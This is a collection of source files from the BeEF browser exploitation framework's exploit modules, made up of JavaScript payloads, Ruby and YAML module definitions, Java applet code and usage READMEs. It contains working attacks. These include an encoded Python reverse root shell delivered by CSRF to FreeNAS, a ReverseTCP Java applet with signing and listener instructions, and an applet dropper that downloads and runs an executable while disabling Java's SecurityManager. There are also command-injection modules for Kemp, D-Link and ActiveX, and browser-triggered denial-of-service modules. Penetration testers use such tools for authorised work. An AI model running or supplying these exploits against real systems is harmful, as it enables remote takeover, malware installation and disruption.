authors: ["Vadodil Joel Varghese", "OSVDB-110820", "bcoles"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/jenkins_groovy_code_exec/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Jenkins_groovy_code_exec < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
lhost = configuration.beef_host
lhost = '' if lhost == '0.0.0.0'
[
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '80' },
{ 'name' => 'uri', 'ui_label' => 'Target URI', 'value' => '/jenkins/' },
{ 'name' => 'rproto',
'type' => 'combobox',
'ui_label' => 'Target Protocol',
'store_type' => 'arraystore',
'store_fields' => ['rproto'],
'store_data' => [['http'], ['https']],
'emptyText' => 'Select a protocol (HTTP/HTTPS)',
'valueField' => 'rproto',
'displayField' => 'rproto',
'mode' => 'local',
'forceSelection' => 'true',
'autoWidth' => true },
{ 'name' => 'payload',
'type' => 'combobox',
'ui_label' => 'Payload',
'store_type' => 'arraystore',
'store_fields' => ['payload'],
'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_python']],
'emptyText' => 'Select a payload',
'valueField' => 'payload',
'displayField' => 'payload',
'mode' => 'local',
'forceSelection' => 'false',
'autoWidth' => true },
{ 'name' => 'lhost', 'ui_label' => 'Listen Host', 'value' => lhost },
{ 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '8080' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/kemp_command_execution/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
var path = '/progs/geoctrl/doadd';
var cmd = "<%= @cmd %>";
if (rhost.substring(0,5) == "https") {
rhost = rhost.replace("https://","")
protocol = "https"
}
else {
rhost = rhost.replace("http://","")
protocol = "http"
}
beef.net.forge_request(protocol, "POST", rhost, rport, path, null, null, { fqdn: "' <%= @cmd %>'" }, 10, 'html', false, null, function(response) {
resp = response.headers+response.response_body;
start = resp.indexOf("Content-Type: text/html");
end = resp.indexOf("Cache-Control: no-cache");
final = resp.slice(start+23,end)
beef.net.send("<%= @command_url %>", <%= @command_id %>, final)
});
});
|
YAML
|
beef/modules/exploits/kemp_command_execution/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
kemp_command_execution:
enable: true
category: "Exploits"
name: "Kemp LoadBalancer Command Execution"
description: "This module exploits a remote code execution vulnerability in Kemp LoadBalancer 7.1-16.<br/>More information can be found here: <a href='http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html'>http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html</a><br/>"
authors: ["Roberto Suggi Liverani", "@malerisch", "CVE-2014-5287","CVE-2014-5288"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/kemp_command_execution/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Kemp_command_execution < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'URL', 'value' => 'https://x.x.x.x' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '443' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
{ 'name' => 'cmd', 'ui_label' => 'Command', 'description' => 'Enter shell command to execute.', 'type' => 'textarea', 'value' => 'ls', 'width' => '200px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
end
end
|
JavaScript
|
beef/modules/exploits/local_host/activex_command_execution/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var cmd = beef.encode.base64.decode('<%= Base64.strict_encode64(@cmd) %>');
var result = "command was not sent";
try {
var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
if (shell.toString() == 0) {
result = "command sent";
} else {
result = "command failed";
}
} catch(e) {
result = "command failed";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
});
|
YAML
|
beef/modules/exploits/local_host/activex_command_execution/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
activex_command_execution:
enable: true
category: ["Exploits", "Local Host"]
name: "ActiveX Command Execution"
description: "Execute arbitrary commands using the \"WSCRIPT.Shell\" object. The command response is not returned to BeEF.<br><br>The browser must have \"Initialize and script ActiveX controls not marked as safe for scripting\" enabled."
authors: ["bcoles"]
target:
user_notify: ["IE"]
not_working: ["ALL"]
|
Ruby
|
beef/modules/exploits/local_host/activex_command_execution/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Activex_command_execution < BeEF::Core::Command
def self.options
[
{ 'name' => 'cmd', 'ui_label' => 'Command', 'type' => 'textarea', 'value' => 'cmd.exe /c "echo Hello from BeEF! & pause"', 'width' => '400px', 'height' => '50px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/local_host/java_payload/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var conn = '<%= @conn %>';
var cbHost = '<%= @cbHost %>';
var cbPort = '<%= @cbPort %>';
var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';
var applet_id = '<%= @applet_id %>';
var applet_name = '<%= @applet_name %>';
beef.dom.attachApplet(applet_id, applet_name, 'javapayload.loader.AppletLoader',
null, applet_archive, [{'argc':'5', 'arg0':'ReverseTCP', 'arg1':cbHost, 'arg2':cbPort, 'arg3':'--', 'arg4':'JSh'}]);
//TODO: modify the applet in a way we can call a method from it, or create a Javascript variable in the page (to know the applet has started).
//TODO: after that, every N seconds we'll check if the user RUN the applet, otherwise we remove the applet and inject another one.
//TODO: =========== persistence techniques ===========
// the victim must stay on the page while the applet is running. we don't want to use hybrid techniques to
// download platform dependent executable (i.e. meterpreter) and then kill the applet.
// we have 2 options:
// 1. use the MITB code (currently doesn't work on IE)
// 2. create an overlay iFrame while having the applet runnin in the background
//
// 1. setTimeout(beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000);
// 2. beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
// var MITBload = setInterval(function(){
// if(beef.pageIsLoaded){
// clearInterval(MITBload);
// beef.mitb.hook();
// }
// }, 100);
beef.debug('[Java Payload] Applet with id[' + applet_id + '] added to the DOM.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet with id[' + applet_id + '] added to the DOM.');
});
|
YAML
|
beef/modules/exploits/local_host/java_payload/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
java_payload:
enable: true
category: ["Exploits", "Local Host"]
name: "Java Payload"
description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.<br /><br />Before launching it, be sure to have the JavaPayload StagerHandler listening,<br />i.e.: java javapayload.handler.stager.StagerHandler <payload> <IP> <port> -- JSh<br /><br />Windows Vista is not supported."
authors: ["antisnatchor"]
target:
user_notify: ["All"]
|
Ruby
|
beef/modules/exploits/local_host/java_payload/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Java_payload < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/java_payload/Applet_ReverseTCP.jar', '/anti', 'jar')
end
def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.beef_host
[
{ 'name' => 'conn', 'ui_label' => 'Payload', 'value' => 'ReverseTCP' },
{ 'name' => 'cbHost', 'ui_label' => 'Connect Back to Host', 'value' => beef_host },
{ 'name' => 'cbPort', 'ui_label' => 'Connect Back to Port', 'value' => '6666' },
{ 'name' => 'applet_id', 'ui_label' => 'Applet id', 'value' => rand(32**20).to_s(32) },
{ 'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Microsoft' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
Text
|
beef/modules/exploits/local_host/java_payload/README.txt
|
--- How to use this module ---
The following is how you compile the JavaPayload handlers :
$git clone https://github.com/schierlm/JavaPayload/tree/master/JavaPayload javapayload-git
$cd javapayload-git/JavaPayload/lib && wget http://download.forge.objectweb.org/asm/asm-3.2.jar
$cd .. && ant compile && ant jar
$cd build/bin
$java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.builder.AppletJarBuilder ReverseTCP
At this point you have the applet ready to go, with a reverseTCP handler:
Applet_ReverseTCP.jar
Note that the applet in this module is already compiled (with Java 7, you might want to recompile it
with Java 6 to run it on those versions too - SUGGESTED :-).
At this stage you need to sign the applet.
The following is to create a self-signed certificate and then sign it.
Obviously if you have a valid code signing certificate, even better ;)
keytool -keystore tmp -genkey
jarsigner -keystore tmp Applet_ReverseTCP.jar mykey
Now replace the newly signed Applet_ReverseTCP.jar in the BeEF module.
You're now ready to rock. start the reverse handler listener with (update payload/host/port if necessary):
java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh
Now launch the BeEF module.
If the victim RUN the Signed Java Applet, job done and you can interact with the applet from the reverse connection handler:
antisnatchor$ java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh
! help
help: show information about commands.
Usage: help [command]
Supported commands:
help - show this help
info - list system properties
pwd - show current directory
cd - change directory
ls - list directory
exec - execute native command
cat - show text file
wget - download file
telnet - create TCP connection
paste - create text file
jobs - list or continue jobs
exit - Exit JSh
When inside an interactive command, enter ~. on a new
line to exit from that command. Enter ~& to background the command.
Enter ~~ to start a line with a ~ character
|
JavaScript
|
beef/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result = "command sent";
try {
var command_str = beef.encode.base64.decode('<%= Base64.strict_encode64(@command_str) %>');
var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile);
var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work?
lFile.initWithPath(lPath);
var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(lFile);
process.run(false,['/c', command_str],2);
} catch (e) {
result = "an unexpected error occured";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result);
});
|
YAML
|
beef/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
mozilla_nsiprocess_interface:
enable: false
category: ["Exploits", "Local Host"]
name: "Mozilla nsIProcess XPCOM Interface (Windows)"
description: "The nsIProcess XPCOM interface represents an executable process. JavaScript code with chrome privileges can use the nsIProcess interface to launch executable files. In this module, nsIProcess is combined with the Windows command prompt cmd.exe<br /><br />Any XSS injection in a chrome privileged zone (e.g. typically in Firefox extensions) allows this module to execute arbitrary commands on the victim machine."
authors: ["wade", "bcoles", "[email protected]", "[email protected]"]
target:
working:
FF:
min_ver: 1
# It's actually 3.5 but min_ver only supports integers
max_ver: 3
not_working: ["All"]
|
Ruby
|
beef/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This module is a port of the same module from BeEF-0.4.0.0
# It has not been tested
class Mozilla_nsiprocess_interface < BeEF::Core::Command
def self.options
[
{ 'name' => 'command_str', 'ui_label' => 'Windows Command', 'value' => 'ping localhost' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end
|
JavaScript
|
beef/modules/exploits/local_host/safari_launch_app/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var baseTag = document.createElement('base');
baseTag.setAttribute('id', 'sla_<%= @command_id %>');
baseTag.setAttribute('href', 'file://');
document.head.appendChild(baseTag);
setTimeout('document.location="<%= @app_path %>";beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command [<%= @app_path %>] launched");', 1000);
setTimeout('document.head.removeChild(document.getElementById("sla_<%= @command_id %>"));beef.net.send("<%= @command_url %>", <%= @command_id %>, "Base tag removed");', 1000);
});
|
YAML
|
beef/modules/exploits/local_host/safari_launch_app/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
safari_launch_app:
enable: true
category: ["Exploits", "Local Host"]
name: "Safari Launch App"
description: "Launch an application from the victim machine.<br/><br/>See CVE-2011-3230 for more details.<br /><br />Safari <= 5.1 on OS X is vulnerable. Original discovery by Aaron Sigel."
authors: ["antisnatchor"]
target:
user_notify: ["S"]
not_working: ["All"]
|
Ruby
|
beef/modules/exploits/local_host/safari_launch_app/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Safari_launch_app < BeEF::Core::Command
def self.options
[
{ 'name' => 'app_path', 'ui_label' => 'Application', 'value' => '/usr/sbin/netstat' }
]
end
end
|
JavaScript
|
beef/modules/exploits/local_host/signed_applet_dropper/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/applet/SignedApplet.jar';
var applet_name = '<%= @applet_name %>';
var dropper_url = '<%= @dropper_url %>';
var ie_only = '<%= @ie_only %>';
function attach(){
beef.dom.attachApplet('signed_applet', applet_name, 'SignedApplet.class',
null, applet_archive, [{'url':dropper_url}]);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet added to the DOM.');
}
if(ie_only == "on"){
if(beef.browser.isIE()){
attach();
}
}else{
attach();
}
});
|
YAML
|
beef/modules/exploits/local_host/signed_applet_dropper/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
signed_applet_dropper:
enable: true
category: ["Exploits", "Local Host"]
name: "Signed Applet Dropper"
description: "Injects a Signed Java Applet (compiled with Java 1.6.0 in order to be compatible with every JRE from 1.6.0 to latest 1.7) that downloads a dropper and executes it.<br />Currently works only on Windows.<br /><br />Internet Explorer is the only browser that doesn't implement Click to Play for plugins, that's what the IE only checkbox is meant for."
authors: ["antisnatchor"]
target:
user_notify: ["All"]
|
Ruby
|
beef/modules/exploits/local_host/signed_applet_dropper/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Signed_applet_dropper < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.jar', '/applet/SignedApplet', 'jar')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/signed_applet_dropper/applet/SM.class', '/applet/SM', 'class')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.class', '/applet/SignedApplet', 'class')
end
def self.options
[
{ 'name' => 'dropper_url', 'ui_label' => 'Dropper URL', 'value' => 'http://dropper_url/' },
{ 'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Oracle Secure Applet' },
{ 'name' => 'ie_only', 'ui_label' => 'Internet Explorer only?', 'type' => 'checkbox', 'checked' => 'checked' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
Text
|
beef/modules/exploits/local_host/signed_applet_dropper/README.txt
|
--- How to use this module ---
-- antisnatchor:
- the applet has been compiled with Java 1.6.0 update 0 in order to be compatible with every JRE > 1.6.x (1.7.x included)
- tested with IE8 on XP SP3, and IE10 on Win7
- tested with JRE 1.6.x and 1.7.x
- I advise you to recompile/re-sign the applet yourself, the following are the required steps to compile and self-sign the applet.
NOTE: Best results are obtained signing the applet with a valid Code Signing certificate.
- Ideally the dropper is a packed backdoor (Meterpreter?) that connects back to your server (for instance a Metasploit multi/handler).
1. compile the two classes
javac SignedApplet.java SM.java
2. create a JAR
jar cvf SignedApplet.jar SignedApplet.class SM.class
3. generate a keystore to self-sign the applet
keytool -keystore tmp -genkey
4. sign the applet
jarsigner -keystore tmp signedAppletCmdExec.jar mykey
|
Java
|
beef/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java
|
/*
* Copyright (c) 2006-2023Wade Alcorn - [email protected]
* Browser Exploitation Framework (BeEF) - http://beefproject.com
*
* author: antisnatchor
*/
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.util.*;
import java.net.URL;
public class SignedApplet extends Applet {
public static String debug = "false";
public static String bin_url = "";
public static String bin_path = "";
public static boolean download = false;
public void init(){
bin_url = (String)getParameter("url");
String bin_rand_name = Long.toString(Math.abs((new Random()).nextLong()), 36);
bin_path = System.getProperty("java.io.tmpdir") + File.separator + bin_rand_name + ".exe";
// grab operating system -> not used atm
// TODO: make the applet compatible also with Linux/OSX
String os = System.getProperty("os.name").toLowerCase();
execute();
}
public SignedApplet(){
super();
SecurityManager sm = new SM();
System.setSecurityManager(sm);
return;
}
public static boolean download(){
boolean success = false;
try{
URL url = new URL(bin_url);
InputStream is = url.openStream();
BufferedInputStream isbuf = new BufferedInputStream(is);
File bin_out = new File(bin_path);
OutputStream out = new BufferedOutputStream(new FileOutputStream(bin_out));
byte[] buf = new byte[1024];
for (;;){
int bs = isbuf.read(buf);
if (bs <= 0) break;
out.write(buf, 0, bs);
}
out.flush();
out.close();
is.close();
success = true;
return success;
}catch(Exception e){
return success;
}
}
public static String execute() {
String result = "";
String command = "";
try{
boolean downloadOk = download();
System.out.println("Download [" + downloadOk + "] - bin_path [" + bin_path + "]");
result = "Download [" + downloadOk + "] - bin_path [" + bin_path + "]";
if(downloadOk){
// TODO: make the applet compatible also with Linux/OSX
command = "cmd.exe /c \"" + bin_path + "\"";
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
/// delete dropped binary
new File(bin_path).delete();
result += "\n\nExecution OK.";
}else{
//downloading of dropper failed, catch error..
result = "Download error.";
}
}catch (Exception e) {
result = "Exception!!!: \n";
}
return result;
}
}
|
Java
|
beef/modules/exploits/local_host/signed_applet_dropper/applet/SM.java
|
/*
* Copyright (c) 2006-2023 Wade Alcorn - [email protected]
* Browser Exploitation Framework (BeEF) - http://beefproject.com
*
* author: antisnatchor
*/
import java.security.*;
public class SM extends SecurityManager {
@Override
public void checkPermission(Permission perm) {
return;
}
}
|
JavaScript
|
beef/modules/exploits/local_host/window_mail_client_dos/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// container iframe
var winmail_container = document.createElement('iframe');
winmail_container.setAttribute('id', 'winmail');
winmail_container.setAttribute('style', 'display:none');
document.body.appendChild(winmail_container);
// initiate 10 nntp connections
// 8 to trigger bug + 2 in case the user manages to close some
var protocol_iframe;
for(var i=1;i<=10;i++) {
protocol_iframe = document.createElement('iframe');
protocol_iframe.setAttribute('src', 'nntp://127.0.0.1:119//');
protocol_iframe.setAttribute('id', 'winmail'+i);
protocol_iframe.setAttribute('style', 'display:none');
winmail_container.contentWindow.document.body.appendChild(protocol_iframe);
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "complete");
document.body.removeChild(document.getElementById('winmail'));
});
|
YAML
|
beef/modules/exploits/local_host/window_mail_client_dos/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
windows_mail_client_dos:
enable: true
category: ["Exploits", "Local Host"]
name: "Windows Mail Client DoS"
description: "This module exploits an unhandled exception in Windows Mail to crash the client remotely.<br /><br />Windows Mail is launched and then crashed if it is not already open. It comes installed by default on Windows Vista (but it's also vulnerable on Windows 7 SP2).<br /><br />The protocol handler used will be: nntp."
authors: ["bcoles"]
target:
user_notify: ["FF"]
not_working: ["All"]
|
Ruby
|
beef/modules/exploits/local_host/window_mail_client_dos/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Windows_mail_client_dos < BeEF::Core::Command
end
|
JavaScript
|
beef/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var gateway = '<%= @base %>';
var path = '/cgi-bin/system_mgr.cgi';
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var timeout = 15;
var dlink_sharecenter_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "GET", "application/x-www-form-urlencoded", [
{'type':'hidden', 'name':'cmd', 'value':'cgi_sms_test'},
{'type':'hidden', 'name':'command1', 'value':cmd}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(dlink_sharecenter_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});
|
YAML
|
beef/modules/exploits/nas/dlink_sharecenter_cmd_exec/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
dlink_sharecenter_cmd_exec:
enable: true
category: ["Exploits", "NAS"]
name: "D-Link ShareCenter Command Execution"
description: "Attempts to execute arbitrary commands on a D-Link ShareCenter NAS. Multiple models are affected, including DNS-320 and DNS-325, however this module has not been tested.<br/><br/>For more information see, http://blog.emaze.net/2012_02_01_archive.html"
authors: ["bcoles", "Roberto Paleari, Emaze Networks S.p.A."]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/nas/dlink_sharecenter_cmd_exec/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# This module has not been tested. For more information see:
# http://blog.emaze.net/2012_02_01_archive.html
# http://www.securityfocus.com/archive/1/521532
###
class Dlink_sharecenter_cmd_exec < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' },
{ 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'ls' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var sid = Math.floor(Math.random()*1000)+1;
var freenas_add_user_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
freenas_add_user_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+':'+rport+'/system/terminal/?s='+sid+'&k=%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%68%6f%73%74%3d%5c%22'+lhost+'%5c%22%3b%70%6f%72%74%3d'+lport+'%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%68%6f%73%74%2c%70%6f%72%74%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%5c%22%2f%62%69%6e%2f%73%68%5c%22%2c%5c%22%2d%69%5c%22%5d%29%3b%22%0d');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(freenas_add_user_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
################################################################################
# For more information see: http://support.freenas.org/ticket/1788
################################################################################
beef:
module:
freenas_reverse_root_shell_csrf:
enable: true
category: ["Exploits", "NAS"]
name: "FreeNAS Reverse Root Shell CSRF"
description: "Attempts to get a reverse root shell on a FreeNAS server.<br/>Tested on version 8.2.0 however other versions are likely to be vulnerable.<br/>Patched in version 8.3.0-BETA3."
authors: ["bcoles"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
################################################################################
# For more information see: http://support.freenas.org/ticket/1788
################################################################################
class Freenas_reverse_root_shell_csrf < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
lhost = @configuration.beef_host
lhost = '' if lhost == '0.0.0.0'
[
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' },
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost },
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/ntfscommoncreate_dos/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var dom = beef.dom.createInvisibleIframe();
var num_images = 100;
beef.debug('[NtfsCommonCreate DoS] Initiating ' + num_images + ' requests to $MFT...');
for (var i = 0; i <= num_images; i++) {
var path = 'C:/$MFT/' + Math.random().toString(36).substring(2,10);
var img = new Image;
img.src = 'file:///' + path;
dom.appendChild(img);
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DoS request sent');
});
|
YAML
|
beef/modules/exploits/ntfscommoncreate_dos/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
ntfscommoncreate_dos:
enable: true
category: "Exploits"
name: "NtfsCommonCreate DoS"
description: "This module attempts to hang the browser and cause system instability by abusing a flaw in <a href='http://securitytracker.com/id/1038575'>NtfsCommonCreate</a>. Affects Microsoft Windows Vista, 7 and 8.1."
